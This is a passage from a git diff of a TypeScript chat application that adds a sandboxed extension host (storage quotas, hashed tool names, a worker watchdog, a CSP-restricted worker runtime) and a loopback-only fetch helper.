16] + s0 + w[t - 7] + s1+ }+ let [a, b, c, d, e, f, g, hh] = h+ for (let t = 0; t < 64; t++) {+ const S1 = rotr(e, 6) ^ rotr(e, 11) ^ rotr(e, 25)+ const ch = (e & f) ^ (~e & g)+ const t1 = (hh + S1 + ch + K[t] + w[t]) >>> 0+ const S0 = rotr(a, 2) ^ rotr(a, 13) ^ rotr(a, 22)+ const maj = (a & b) ^ (a & c) ^ (b & c)+ const t2 = (S0 + maj) >>> 0+ hh = g+ g = f+ f = e+ e = (d + t1) >>> 0+ d = c+ c = b+ b = a+ a = (t1 + t2) >>> 0+ }+ h[0] += a+ h[1] += b+ h[2] += c+ h[3] += d+ h[4] += e+ h[5] += f+ h[6] += g+ h[7] += hh+ }+ return Array.from(h, (x) => x.toString(16).padStart(8, '0')).join('')+}diff --git a/web-app/src/lib/extensions/storage.ts b/web-app/src/lib/extensions/storage.tsnew file mode 100644index 000000000..6e8df5faf--- /dev/null+++ b/web-app/src/lib/extensions/storage.ts@@ -0,0 +1,61 @@+import {+ ExtensionError,+ type JsonObject,+ type JsonValue,+ type StorageApi,+} from '@janhq/extension-api'+import type { AppSettingsBackend } from './settings-store'++/** Per-extension cap on the serialized storage object. */+export const STORAGE_QUOTA_BYTES = 1024 * 1024++const storageKey = (extensionId: string) => `extension:${extensionId}:storage`++/**+ * `ctx.storage`: one JSON object per extension in `appSettings`. Writes are+ * chained so that two concurrent `set` calls cannot both read the old object+ * and drop each other's key.+ */+export function createExtensionStorage(+ extensionId: string,+ backend: AppSettingsBackend+): StorageApi {+ const key = storageKey(extensionId)+ let queue: Promise<unknown> = Promise.resolve()++ const read = async (): Promise<JsonObject> => {+ const raw = await backend.get(key)+ return raw ? (JSON.parse(raw) as JsonObject) : {}+ }++ const write = (mutate: (data: JsonObject) => void): Promise<void> => {+ const run = queue.then(async () => {+ const data = await read()+ mutate(data)+ const serialized = JSON.stringify(data)+ if (new TextEncoder().encode(serialized).length > STORAGE_QUOTA_BYTES) {+ throw new ExtensionError(+ 'E_TOO_LARGE',+ `Storage of '${extensionId}' would exceed 1 MiB`+ )+ }+ await backend.set(key, serialized)+ })+ queue = run.catch(() => undefined)+ return run+ }++ return {+ get: async <T extends JsonValue>(k: string) =>+ (await read())[k] as T | undefined,+ set: (k, value) =>+ write((data) => {+ data[k] = value+ }),+ delete: (k) =>+ write((data) => {+ delete data[k]+ }),+ keys: async () => Object.keys(await read()),+ }+}diff --git a/web-app/src/lib/extensions/tools.ts b/web-app/src/lib/extensions/tools.tsnew file mode 100644index 000000000..7460826bb--- /dev/null+++ b/web-app/src/lib/extensions/tools.ts@@ -0,0 +1,129 @@+import type { JsonSchemaObject, ToolResult } from '@janhq/extension-api'+import { z } from 'zod'+import type { ContributionState } from './contributions'+import { sha256Hex } from './sha256'++/** The longest tool name the OpenAI-style APIs accept. */+const MAX_WIRE_NAME = 64++/** A contributed tool the model can be offered, under its wire name. */+export interface ExtensionTool {+ wireName: string+ extensionId: string+ /** The name the manifest declared. */+ name: string+ description: string+ inputSchema: JsonSchemaObject+ /**+ * Groups the tool in the tool toggles and approval prompts. Namespaced so+ * an extension cannot pose as an MCP server the user already trusts.+ */+ server: string+}++/** The server name prefix of every contributed tool. */+export const EXTENSION_SERVER_PREFIX = 'ext:'++export const extensionToolServer = (extensionId: string) =>+ `${EXTENSION_SERVER_PREFIX}${extensionId}`++const sanitize = (s: string) => s.replace(/[^A-Za-z0-9_-]/g, '_')++// 80 bits of SHA-256: a second preimage (one extension knocking out+// another's tool by matching its wire name) stays out of reach.+const HASH_HEX_DIGITS = 20+// The tool list is rebuilt on every contribution change; each name is+// hashed once. Bounded by the tools manifests declare.+const wireNames = new Map<string, string>()++/**+ * `x_<hash>__<tool name>`, where the hash is the first 80 bits of the+ * SHA-256 of the extension id and the exact name, cut to 64 characters.+ * The readable part is only a hint: two ids or names that sanitize or truncate to the same text (`acme-x.foo`+ * and `acme.x-foo`) still get different wire names, and a tool keeps its+ * wire name whatever else is loaded, so a new extension can never take+ * over a name the model, the history or an approval already refers to.+ */+export function toolWireName(extensionId: string, name: string): string {+ const key = `${extensionId}\u0000${name}`+ let wireName = wireNames.get(key)+ if (wireName === undefined) {+ const hash = sha256Hex(new TextEncoder().encode(key)).slice(+ 0,+ HASH_HEX_DIGITS+ )+ wireName = `x_${hash}__${sanitize(name)}`.slice(0, MAX_WIRE_NAME)+ wireNames.set(key, wireName)+ }+ return wireName+}++/**+ * Every contributed tool with a bound handler, in a stable order (the tool+ * list is part of the prompt prefix, so it must not reshuffle). Should two+ * tools still end up with one wire name, both are left out: neither may+ * answer calls, or inherit approvals, meant for the other.+ */+export function listExtensionTools(state: ContributionState): ExtensionTool[] {+ const result: ExtensionTool[] = []+ for (const extensionId of Object.keys(state.tools).sort()) {+ const tools = state.tools[extensionId]+ for (const name of Object.keys(tools).sort()) {+ const tool = tools[name]+ if (!tool.handler) continue+ result.push({+ wireName: toolWireName(extensionId, name),+ extensionId,+ name,+ description: tool.description,+ inputSchema: tool.inputSchema,+ server: extensionToolServer(extensionId),+ })+ }+ }+ const counts = new Map<string, number>()+ for (const t of result)+ counts.set(t.wireName, (counts.get(t.wireName) ?? 0) + 1)+ return result.filter((t) => counts.get(t.wireName) === 1)+}++// What a worker returns is untrusted; it reaches the model only in this shape.+const toolResultSchema: z.ZodType<ToolResult> = z.object({+ content: z.array(+ z.union([+ z.object({ type: z.literal('text'), text: z.string() }),+ z.object({ type: z.literal('json'), value: z.json() }),+ ])+ ),+ isError: z.boolean().optional(),+})++/** The outcome of a tool call in the form the chat tool loop records. */+export type ToolCallOutcome =+ | { content: { type: 'text'; text: string }[]; error?: undefined }+ | { error: string; content?: undefined }++/**+ * Turns a handler's return value into what the model sees: text parts+ * only (JSON parts serialized), capped at `maxOutputChars` in total, since+ * a tool result is injected into the conversation verbatim.+ */+export function toToolOutcome(+ value: unknown,+ maxOutputChars?: number+): ToolCallOutcome {+ const parsed = toolResultSchema.safeParse(value)+ if (!parsed.success)+ return { error: 'The extension returned an invalid tool result' }+ let budget = maxOutputChars ?? Number.POSITIVE_INFINITY+ const content: { type: 'text'; text: string }[] = []+ for (const part of parsed.data.content) {+ const text = part.type === 'text' ? part.text : JSON.stringify(part.value)+ if (budget <= 0) break+ content.push({ type: 'text', text: text.slice(0, budget) })+ budget -= text.length+ }+ if (parsed.data.isError)+ return { error: content.map((c) => c.text).join('\n') || 'Tool failed' }+ return { content }+}diff --git a/web-app/src/lib/extensions/watchdog.ts b/web-app/src/lib/extensions/watchdog.tsnew file mode 100644index 000000000..23b2eaebf--- /dev/null+++ b/web-app/src/lib/extensions/watchdog.ts@@ -0,0 +1,138 @@+import type { AppSettingsBackend } from './settings-store'++/** How often the host pings a running worker. */+export const PING_INTERVAL_MS = 5_000+/** Unanswered pings after which a worker counts as hung. */+export const MAX_MISSED_PONGS = 3+/** Crashes within CRASH_WINDOW_MS that disable an extension for the session. */+export const CRASH_LIMIT = 3+export const CRASH_WINDOW_MS = 10 * 60_000++export interface Heartbeat {+ /** Records the worker's answer to ping `n`. */+ pong(n: number): void+ dispose(): void+}++/**+ * Pings a worker every PING_INTERVAL_MS. A worker stuck in a busy loop+ * cannot answer, and no other limit sees it: it sends nothing. Once+ * MAX_MISSED_PONGS pings in a row went unanswered, `onDead` runs once and+ * the heartbeat stops.+ */+export function startHeartbeat(options: {+ ping(n: number): void+ onDead(): void+}): Heartbeat {+ let sent = 0+ let answered = 0+ const timer = setInterval(() => {+ if (sent - answered >= MAX_MISSED_PONGS) {+ clearInterval(timer)+ options.onDead()+ return+ }+ sent += 1+ options.ping(sent)+ }, PING_INTERVAL_MS)+ return {+ pong: (n) => {+ // Only an answer to a ping actually sent counts; a worker cannot+ // stay alive by sending pongs ahead of time.+ if (n > answered && n <= sent) answered = n+ },+ dispose: () => clearInterval(timer),+ }+}++/**+ * Counts crashes per extension; true when one reaches CRASH_LIMIT within+ * CRASH_WINDOW_MS.+ */+export function crashCounter(+ now: () => number = Date.now+): (extensionId: string) => boolean {+ const crashes = new Map<string, number[]>()+ return (extensionId) => {+ const t = now()+ const recent = (crashes.get(extensionId) ?? []).filter(+ (at) => t - at <= CRASH_WINDOW_MS+ )+ recent.push(t)+ crashes.set(extensionId, recent)+ return recent.length >= CRASH_LIMIT+ }+}++/** App starts in a row that did not get the installed extensions loaded. */+export const FAILED_STARTS_KEY = 'extension-host:failedStarts'+export const MAX_FAILED_STARTS = 2+/**+ * Uptime after the installed extensions loaded before a start counts as+ * good. An extension can send `ready` and take the window down a few+ * seconds later (a worker exhausting memory shares the renderer), so the+ * end of loading alone proves nothing.+ */+export const START_GRACE_MS = 60_000++/**+ * Loads the installed extensions with a crash-loop guard. Each start raises+ * a persistent counter first; it goes back to 0 only once the app ran for+ * START_GRACE_MS after loading settled, or when the window is closed+ * cleanly (`onCleanShutdown`, e.g. quitting, a reload or an updater+ * restart) - never just because loading finished. So a start counts as+ * failed exactly when the window died or was killed early. A worker cannot+ * fake a clean shutdown: it has no way to close the window.+ *+ * After MAX_FAILED_STARTS failed starts in a row, safe mode is turned on+ * before anything loads and `onSafeMode` tells the user. If turning it on+ * fails, the installed extensions are still not loaded this start, and+ * `onSafeModeFailed` tells the user; the counter stays up, so the next+ * start tries again. The counter lives in the app settings, which survive+ * a crash of the window. The clean-shutdown reset is best effort: if its+ * write does not land before the window goes, that start counts once.+ * If the counter cannot be read or raised at all, the extensions load+ * without the guard: it could not count this start anyway, and skipping+ * them would turn a settings write error into every extension missing.+ */+export async function loadWithCrashLoopGuard(options: {+ settings: AppSettingsBackend+ setSafeMode(on: boolean): Promise<void>+ onSafeMode(): void+ onSafeModeFailed(error: unknown): void+ /** Registers `reset` to run when the window closes cleanly. */+ onCleanShutdown(reset: () => void): void+ load(): Promise<void>+}): Promise<void> {+ const { settings } = options+ let failedStarts: number+ try {+ const failed = Number.parseInt((await settings.get(FAILED_STARTS_KEY)) ?? '', 10)+ failedStarts = Number.isSafeInteger(failed) && failed > 0 ? failed : 0+ await settings.set(FAILED_STARTS_KEY, String(failedStarts + 1))+ } catch (error) {+ console.warn('Crash-loop guard unavailable, loading without it:', error)+ return options.load()+ }+ let good = false+ const reset = () => {+ if (good) return+ good = true+ void settings.set(FAILED_STARTS_KEY, '0').catch(() => undefined)+ }+ options.onCleanShutdown(reset)+ if (failedStarts >= MAX_FAILED_STARTS) {+ try {+ await options.setSafeMode(true)+ } catch (error) {+ options.onSafeModeFailed(error)+ return+ }+ options.onSafeMode()+ }+ try {+ await options.load()+ } finally {+ setTimeout(reset, START_GRACE_MS)+ }+}diff --git a/web-app/src/lib/extensions/worker-runtime.ts b/web-app/src/lib/extensions/worker-runtime.tsnew file mode 100644index 000000000..86e690ad2--- /dev/null+++ b/web-app/src/lib/extensions/worker-runtime.ts@@ -0,0 +1,392 @@+import {+ ExtensionError,+ type CancellationToken,+ type CommandHandler,+ type ProviderHandlers,+ type ToolHandler,+ type ValidatedManifest,+} from '@janhq/extension-api'+import {+ ACTIVATE_TIMEOUT_MS,+ DEACTIVATE_METHOD,+ DISPOSE_METHOD,+ DisposableTable,+ Endpoint,+ INVOKE_METHOD,+ composeWorkerSource,+ fromRpcError,+ isCallbackRef,+ isEventRef,+ isHostMethod,+ workerTransport,+ type HostMethod,+ type WorkerLike,+} from '@janhq/extension-runtime'+import prelude from '@janhq/extension-runtime/prelude-source'+import type { PermissionDispatcher } from './dispatcher'+import { rateLimiter, type HostApi } from './host-api'+import { startHeartbeat, type Heartbeat } from './watchdog'++/** Creates the Worker for a composed script; injectable so tests need none. */+export type CreateWorker = (source: string, name: string) => WorkerLike++/** A running worker extension, as the host holds it. */+export interface WorkerConnection {+ /** Asks the extension to run `deactivate`; never rejects. */+ deactivate(): Promise<void>+ /** Stops the worker at once and releases everything it registered. */+ terminate(): void+}++// The worker enforces its own 10 s activate cap; this one only catches a+// worker that never answers at all (a script that hangs before booting).+const HOST_ACTIVATE_TIMEOUT_MS = ACTIVATE_TIMEOUT_MS + 5_000+const DEACTIVATE_TIMEOUT_MS = 5_000+// Longer than the RPC default: a tool may legitimately take a while, and+// Stop cancels it at any time.+export const TOOL_CALL_TIMEOUT_MS = 120_000++/**+ * The policy every extension worker runs under. A blob: worker inherits the+ * CSP of the document that creates it, so the workers are created from a+ * hidden same-origin frame carrying this policy instead of from the app+ * window, whose connect-src must allow https: and loopback. The engine then+ * refuses every network primitive (fetch, XHR, WebSocket, WebSocketStream,+ * EventSource, WebTransport, import(), FontFace, ...), including ones a+ * future engine adds, whatever globals the prelude failed to strip. The+ * stripping stays as a second layer.+ *+ * - default-src 'none': no fetch directive allows any URL.+ * - script-src 'wasm-unsafe-eval': WebAssembly compiles, eval does not.+ * - worker-src blob:: what lets the frame start the worker at all.+ */+export const WORKER_CSP = [+ "default-src 'none'",+ "script-src 'wasm-unsafe-eval'",+ 'worker-src blob:',+].join('; ')++/** What createBlobWorker needs from the realm it builds workers in. */+export interface WorkerRealm {+ Worker: new (url: string, options: { name: string }) => Worker+ Blob: typeof Blob+ URL: Pick<typeof URL, 'createObjectURL' | 'revokeObjectURL'>+}++// Keyed by document so a caller passing another document gets a frame that+// lives in it, not one cached from a different document.+const realmFrames = new WeakMap<Document, HTMLIFrameElement>()++/**+ * The window of a hidden about:blank frame whose only content is a meta+ * CSP of WORKER_CSP; created on first use and again if it left the+ * document. about:blank shares the app's origin, so the blob: URLs it+ * mints are same-origin and messages carry no origin checks of their own.+ * A meta CSP can only add restrictions, and the frame also inherits the+ * app's policy, so the workers get the intersection of the two: still no+ * eval, and now no network.+ *+ * The frame is never removed on purpose: workers belong to the realm that+ * created them, so taking the frame out of the document terminates every+ * extension worker running in it. If something else removes it, the+ * workers already in it are gone and only new ones get the fresh frame.+ */+export function workerRealm(doc: Document = document): WorkerRealm {+ const cached = realmFrames.get(doc)+ if (cached?.isConnected && cached.contentWindow)+ return cached.contentWindow as unknown as WorkerRealm+ cached?.remove()+ const frame = doc.createElement('iframe')+ frame.hidden = true+ frame.setAttribute('aria-hidden', 'true')+ frame.tabIndex = -1+ doc.body.appendChild(frame)+ const inner = frame.contentDocument+ if (!inner || !frame.contentWindow)+ throw new ExtensionError('E_INTERNAL', 'The worker frame did not load')+ const meta = inner.createElement('meta')+ meta.httpEquiv = 'Content-Security-Policy'+ meta.content = WORKER_CSP+ inner.head.appendChild(meta)+ realmFrames.set(doc, frame)+ return frame.contentWindow as unknown as WorkerRealm+}++/**+ * The app's factory: one classic Worker per extension from a blob URL, so+ * the composed script is the worker's own script, created in workerRealm+ * so that it runs under WORKER_CSP. The URL is revoked once the worker has+ * spoken, which proves it loaded the script.+ */+export const createBlobWorker: CreateWorker = (source, name) => {+ const realm = workerRealm()+ const url = realm.URL.createObjectURL(+ new realm.Blob([source], { type: 'text/javascript' })+ )+ const worker = new realm.Worker(url, { name })+ const revoke = () => realm.URL.revokeObjectURL(url)+ worker.addEventListener('message', revoke, { once: true })+ worker.addEventListener('error', revoke, { once: true })+ // A script that never posts nor throws (a top-level endless loop) would+ // otherwise keep the URL alive; revoking twice is harmless.+ return {+ postMessage: (message) => worker.postMessage(message),+ addEventListener: worker.addEventListener.bind(worker),+ removeEventListener: worker.removeEventListener.bind(worker),+ terminate: () => {+ worker.terminate()+ revoke()+ },+ }+}++/**+ * Strikes a worker may collect before it is stopped, one forgiven every+ * STRIKE_FORGIVE_MS. A strike is a message refused before any handler ran+ * (malformed, over the size cap, over the message rate) or a call the+ * dispatcher refused (no grant, bad arguments, over a limit). A real+ * extension rarely earns one; a stream of them only costs the main thread.+ */+export const MAX_REJECTED_MESSAGES = 16+const STRIKE_FORGIVE_MS = 10_000+/**+ * Messages of all kinds a worker may send: a burst, then a steady rate.+ * Checked before a message is sized, validated or dispatched, so a flood+ * of calls that would each pass costs the main thread little.+ */+export const MESSAGE_BURST = 200+const MESSAGES_PER_SECOND = 50+// What a misbehaving call is refused with, as opposed to a failure of the+// work it asked for (E_NOT_FOUND, E_TIMEOUT, ...).+const STRIKE_CODES: ReadonlySet<string> = new Set([+ 'E_PERMISSION',+ 'E_INVALID_ARGS',+ 'E_TOO_LARGE',+])++const REGISTRATIONS: ReadonlySet<HostMethod> = new Set<HostMethod>([+ 'commands.register',+ 'tools.register',+ 'providers.register',+ 'events.subscribe',+])++/**+ * Starts one worker extension and resolves once it reported `ready`. On+ * any failure the worker is terminated and the promise rejects with the+ * reason, so the caller never holds a half-started worker.+ */+export function startWorker(options: {+ manifest: ValidatedManifest+ bundle: string+ createWorker: CreateWorker+ dispatcher: PermissionDispatcher+ api: HostApi+ /**+ * Runs once if the runtime stops the worker after it started: it stopped+ * answering pings, or kept breaking the limits. A failure before `ready`+ * rejects the start instead.+ */+ onCrash?(error: ExtensionError): void+}): Promise<WorkerConnection> {+ const { manifest, dispatcher, api } = options+ const owned = new DisposableTable()++ const invoke = (+ handle: number,+ args: unknown[],+ token?: CancellationToken,+ timeoutMs?: number+ ) => endpoint.request(INVOKE_METHOD, [handle, args], { token, timeoutMs })++ // Replaces the handle references a worker sends where a host method+ // takes a function. Anything malformed is left as is and refused by the+ // method's argument validation.+ const revive = (method: HostMethod, args: unknown[]): unknown[] => {+ const [first, second] = args+ switch (method) {+ case 'commands.register': {+ if (!isCallbackRef(second)) return args+ const handler: CommandHandler = (context, ...rest) =>+ invoke(second.$callback, [context, ...rest])+ return [first, handler]+ }+ case 'tools.register': {+ if (!isCallbackRef(second)) return args+ const handler: ToolHandler = (input, token) =>+ invoke(+ second.$callback,+ [input],+ token,+ TOOL_CALL_TIMEOUT_MS+ ) as ReturnType<ToolHandler>+ return [first, handler]+ }+ case 'providers.register': {+ if (typeof second !== 'object' || second === null) return args+ const { listModels } = second as { listModels?: unknown }+ if (listModels === undefined) return [first, {}]+ if (!isCallbackRef(listModels)) return args+ const handlers: ProviderHandlers = {+ // The host validates what comes back where it uses the models.+ listModels: () =>+ invoke(listModels.$callback, []) as ReturnType<+ NonNullable<ProviderHandlers['listModels']>+ >,+ }+ return [first, handlers]+ }+ case 'events.subscribe': {+ if (!isEventRef(second)) return args+ const sub = second.$event+ return [first, (value: unknown) => endpoint.notify(sub, value)]+ }+ default:+ return args+ }+ }++ const worker = options.createWorker(+ composeWorkerSource(prelude, options.bundle),+ `ext:${manifest.id}`+ )+ // An uncaught error in the composed script (a syntax error in the bundle,+ // a prelude that refused to start) ends startup.+ const onError = (e: { message: string }) =>+ settle(new ExtensionError('E_INTERNAL', e.message || 'The worker failed'))+ worker.addEventListener('error', onError)++ // Aborted on terminate, so host-side work (a fetch) stops with the worker.+ const lifetime = new AbortController()+ const admit = rateLimiter(MESSAGE_BURST, MESSAGES_PER_SECOND)+ // The last strike is the one the bucket has no token for.+ const strikeForgiven = rateLimiter(+ MAX_REJECTED_MESSAGES - 1,+ 1000 / STRIKE_FORGIVE_MS+ )+ const strike = (error: ExtensionError) => {+ if (lifetime.signal.aborted || strikeForgiven()) return+ console.warn(+ `Extension '${manifest.id}' was stopped after ${MAX_REJECTED_MESSAGES} refused messages:`,+ error.message+ )+ crash(error)+ }+ // Ends the worker for misbehaving: before `ready` that fails the start,+ // after it the host hears about it.+ const crash = (error: ExtensionError) => {+ if (lifetime.signal.aborted) return+ const running = settled+ settle(error)+ terminate()+ if (running) options.onCrash?.(error)+ }+ let heartbeat: Heartbeat | undefined++ const endpoint: Endpoint = new Endpoint(+ workerTransport(worker),+ {+ admit,+ onRejected: strike,+ handle: async (method, args, token) => {+ if (method === DISPOSE_METHOD) {+ const [id] = args+ if (typeof id === 'number') owned.dispose(id)+ return undefined+ }+ if (!isHostMethod(method))+ throw new ExtensionError('E_NOT_FOUND', `Unknown method '${method}'`)+ // The worker's cancellation and the worker's end both abort it.+ const call = new AbortController()+ const abort = () => call.abort()+ lifetime.signal.addEventListener('abort', abort)+ const cancellation = token.onCancellationRequested(abort)+ try {+ const result = await dispatcher.dispatch(+ manifest,+ api,+ method,+ revive(method, args),+ { signal: call.signal }+ )+ if (REGISTRATIONS.has(method))+ return { disposable: owned.add(result as { dispose(): void }) }+ return result+ } catch (error) {+ if (error instanceof ExtensionError && STRIKE_CODES.has(error.code))+ strike(error)+ throw error+ } finally {+ cancellation.dispose()+ lifetime.signal.removeEventListener('abort', abort)+ }+ },+ onControl: (message) => {+ if (message.t === 'pong') heartbeat?.pong(message.n)+ else if (message.t === 'ready') settle()+ else if (message.t === 'activateFailed')+ settle(fromRpcError(message.error))+ },+ }+ )++ const terminate = () => {+ heartbeat?.dispose()+ worker.removeEventListener('error', onError)+ lifetime.abort()+ endpoint.close()+ owned.disposeAll()+ }++ let settle: (error?: Error) => void = () => undefined+ let settled = false+ return new Promise<WorkerConnection>((resolve, reject) => {+ const timer = setTimeout(+ () =>+ settle(+ new ExtensionError(+ 'E_TIMEOUT',+ `Extension '${manifest.id}' did not start in time`+ )+ ),+ HOST_ACTIVATE_TIMEOUT_MS+ )+ settle = (error) => {+ if (settled) return+ settled = true+ clearTimeout(timer)+ if (error) {+ terminate()+ reject(error)+ return+ }+ heartbeat = startHeartbeat({+ ping: (n) => {+ if (!endpoint.disposed) endpoint.sendControl({ v: 1, t: 'ping', n })+ },+ onDead: () => {+ console.warn(`Extension '${manifest.id}' stopped responding`)+ crash(+ new ExtensionError(+ 'E_TIMEOUT',+ `Extension '${manifest.id}' stopped responding`+ )+ )+ },+ })+ resolve({+ deactivate: async () => {+ try {+ await endpoint.request(DEACTIVATE_METHOD, [], {+ timeoutMs: DEACTIVATE_TIMEOUT_MS,+ })+ } catch (error) {+ console.warn(`Extension '${manifest.id}' failed to deactivate:`, error)+ }+ },+ terminate,+ })+ }+ endpoint.sendControl({ v: 1, t: 'init', manifest })+ })+}diff --git a/web-app/src/lib/hydrateStores.ts b/web-app/src/lib/hydrateStores.tsindex 0fa3f017c..fe0f5a66a 100644--- a/web-app/src/lib/hydrateStores.ts+++ b/web-app/src/lib/hydrateStores.ts@@ -25,6 +25,7 @@ import { useCoworkConfig } from '@/hooks/useCoworkConfig'import { useChatShell } from '@/hooks/useChatShell'import { useCoTDuration } from '@/hooks/useCoTDuration'import { useImageAttachmentConfig } from '@/hooks/useImageAttachmentConfig'+import { grantCoworkFolders } from '@/lib/assetScope'/*** Stores persisted through `backendStorage` set `skipHydration: true` so they@@ -68,4 +69,6 @@ export async function hydrateBackendStores(): Promise<void> {await Promise.all(secondaryStores.map((store) => Promise.resolve(store.persist.rehydrate())))+ // After rehydration, so the folders persisted by earlier sessions are seen.+ grantCoworkFolders()}diff --git a/web-app/src/lib/llamacppRouterProps.ts b/web-app/src/lib/llamacppRouterProps.tsindex 6229b56da..50b9cb1b7 100644--- a/web-app/src/lib/llamacppRouterProps.ts+++ b/web-app/src/lib/llamacppRouterProps.ts@@ -1,45 +1,24 @@-import { ExtensionManager } from '@/lib/extension'--export interface LlamacppModelProps {- nCtx: number- totalSlots?: number- modelAlias?: string- isSleeping?: boolean-}--interface LlamacppExtensionLike {- getModelProps?: (modelId: string) => Promise<LlamacppModelProps | undefined>- unload?: (modelId: string) => Promise<{ success: boolean; error?: string }>-}--const resolveExtensionWithProps = (- names: string[]-): LlamacppExtensionLike | undefined => {- const mgr = ExtensionManager.getInstance()- for (const name of names) {- const c = mgr.getByName(name)- if (c && typeof (c as LlamacppExtensionLike).getModelProps === 'function')- return c as LlamacppExtensionLike- }- return undefined-}+import {+ ServiceKeys,+ type LlamacppService,+ type LocalEngineService,+ type MlxService,+} from '@janhq/core'+import { getExtensionHost } from '@/lib/extensions/host'/** Post-fit `nCtx` is only available once the router has actually loaded the* model; callers must fall back to a configured/default context size until then. */-export const getLlamacppExtension = (): LlamacppExtensionLike | undefined =>- resolveExtensionWithProps([- '@janhq/llamacpp-extension',- 'llamacpp-extension',- ])+export const getLlamacppExtension = (): LlamacppService | undefined =>+ getExtensionHost().services.get(ServiceKeys.Llamacpp)-export const getMlxExtension = (): LlamacppExtensionLike | undefined =>- resolveExtensionWithProps(['@janhq/mlx-extension', 'mlx-extension'])+export const getMlxExtension = (): MlxService | undefined =>+ getExtensionHost().services.get(ServiceKeys.Mlx)/** Local providers expose a launched context window via `getModelProps`; remote* providers have none. Returns undefined for anything but llamacpp/mlx. */export const getLocalPropsExtension = (provider?: string-): LlamacppExtensionLike | undefined => {+): LocalEngineService | undefined => {if (provider === 'llamacpp') return getLlamacppExtension()if (provider === 'mlx') return getMlxExtension()return undefineddiff --git a/web-app/src/lib/loopback-fetch.ts b/web-app/src/lib/loopback-fetch.tsnew file mode 100644index 000000000..5a5500489--- /dev/null+++ b/web-app/src/lib/loopback-fetch.ts@@ -0,0 +1,45 @@+import { fetch as httpFetch } from '@tauri-apps/plugin-http'+import type { LoopbackFetch } from '@janhq/core'++/**+ * Requests to the local engine and MLX servers, sent so that no proxy can+ * capture them.+ *+ * `@tauri-apps/plugin-http` sends from Rust's reqwest, which reads+ * `HTTP(S)_PROXY` and the OS proxy setting (on Windows, the registry one) and+ * does not exempt loopback unless `NO_PROXY` names it. With a VPN client, a+ * proxy tool or a corporate proxy configured, the chat request to+ * `http://localhost:<port>` is then sent to that proxy and fails, although the+ * server is up. Naming any proxy turns reqwest's environment and system lookup+ * off, and the no-proxy list covers every loopback host, so the placeholder+ * address is never dialled: these requests always go direct.+ *+ * Only for loopback servers: any URL whose host is not localhost, 127.0.0.1+ * or [::1] is rejected before it is sent, since the bypass would otherwise+ * route a remote request around the user's proxy. 0.0.0.0 is refused too:+ * it is a listen address, and no caller dials it. Remote providers keep the+ * runtime fetch. Built-in engines get this as `ctx.internal.loopbackFetch`.+ */+export const LOOPBACK_DIRECT_PROXY = {+ all: { url: 'http://127.0.0.1:9', noProxy: 'localhost,127.0.0.1,::1' },+}++// URL.hostname keeps the brackets on an IPv6 literal.+const LOOPBACK_HOSTS = new Set(['localhost', '127.0.0.1', '[::1]'])++const isLoopback = (href: string): boolean => {+ try {+ return LOOPBACK_HOSTS.has(new URL(href).hostname)+ } catch {+ return false+ }+}++export const loopbackFetch: LoopbackFetch = async (input, init) => {+ const href = input instanceof Request ? input.url : String(input)+ if (!isLoopback(href))+ throw new Error(+ `loopbackFetch only reaches localhost, 127.0.0.1 or [::1], not ${href}`+ )+ return httpFetch(input, { ...init, proxy: LOOPBACK_DIRECT_PROXY })+}diff --git a/web-app/src/lib/migrateLocalStorageSettings.ts b/web-app/src/lib/migrateLocalStorageSettings.tsindex de349cede..f1bb0afa6 100644--- a/web-app/src/lib/migrateLocalStorageSettings.ts+++ b/web-app/src/lib/migrateLocalStorageSettings.ts@@ -1,7 +1,7 @@import { isPlatformTauri } from '@/lib/platform/utils'import { getServiceHub } from '@/hooks/useServiceHub'import { localStorageKey } from '@/constants/localStorage'-import { HUGGINGFACE_TOKEN_SECRET_KEY } from '@/hooks/useGeneralSetting'+import { HUGGINGFACE_TOKEN_SECRET_KEY } from '@janhq/core'/*** One-time migration of settings from webview localStorage to the backenddiff --git a/web-app/src/lib/model-factory.ts b/web-app/src/lib/model-factory.tsindex 48bac94e5..5f5ff9052 100644--- a/web-app/src/lib/model-factory.ts+++ b/web-app/src/lib/model-factory.ts@@ -56,10 +56,9 @@ import { createAnthropic } from '@ai-sdk/anthropic'import { createXai } from '@ai-sdk/xai'import { createMistral } from '@ai-sdk/mistral'import { createGoogleGenerativeAI } from '@ai-sdk/google'-import { invoke } from '@tauri-apps/api/core'import { findSessionByModel } from '@janhq/tauri-plugin-llamacpp-api'-import { SessionInfo } from '@janhq/core'import { fetch as httpFetch } from '@tauri-apps/plugin-http'+import { loopbackFetch } from './loopback-fetch'import { hasAudioSentinel, splitAudioSentinels } from './audio-sentinel'import { hasVideoSentinel, splitVideoSentinels } from './video-sentinel'import {@@ -80,6 +79,8 @@ import {getProviderApiType,} from '@/lib/providerCaps'import { engineFailure } from '@/lib/engineError'+import { extensionProviderFetch } from '@/lib/extensions/providers'+import { getMlxExtension } from '@/lib/llamacppRouterProps'import { i18n } from '@/i18n/react-i18next-compat'import { useAppState } from '@/hooks/useAppState'import { useGeneralSetting } from '@/hooks/useGeneralSetting'@@ -887,29 +888,6 @@ function requireRemoteApiKey(return key}-/**- * Requests to the local engine and MLX servers, sent so that no proxy can- * capture them.- *- * `@tauri-apps/plugin-http` sends from Rust's reqwest, which reads- * `HTTP(S)_PROXY` and the OS proxy setting (on Windows, the registry one) and- * does not exempt loopback unless `NO_PROXY` names it. With a VPN client, a- * proxy tool or a corporate proxy configured, the chat request to- * `http://localhost:<port>` is then sent to that proxy and fails, although the- * server is up. Naming any proxy turns reqwest's environment and system lookup- * off, and the no-proxy list covers every loopback host, so the placeholder- * address is never dialled: these requests always go direct.- *- * Only for loopback servers. Remote providers keep `getRuntimeFetch`, which- * must go on honouring the user's proxy.- */-export const LOOPBACK_DIRECT_PROXY = {- all: { url: 'http://127.0.0.1:9', noProxy: 'localhost,127.0.0.1,::1' },-}--export const loopbackFetch: typeof globalThis.fetch = (input, init) =>- httpFetch(input, { ...init, proxy: LOOPBACK_DIRECT_PROXY })-function getRuntimeFetch(): typeof globalThis.fetch {const maybeWindow = globalThis as typeof globalThis & {__TAURI__?: unknown@@ -967,6 +945,18 @@ export class ModelFactory {const providerName = provider.provider.toLowerCase()parameters = stripUnsupportedSamplers(parameters, provider, modelId)+ // A provider an extension contributed is OpenAI-compatible by contract,+ // and every request it makes runs on the extension's checked network+ // path, never on the app's.+ const extensionFetch = extensionProviderFetch(provider, 'stream')+ if (extensionFetch)+ return this.createOpenAICompatibleModel(+ modelId,+ provider,+ parameters,+ extensionFetch+ )+// Wire-format dispatch wins over name-based dispatch — custom providers// pointing at Anthropic-compatible proxies (LiteLLM, Bedrock gateways)// need the Anthropic SDK regardless of the user-chosen provider 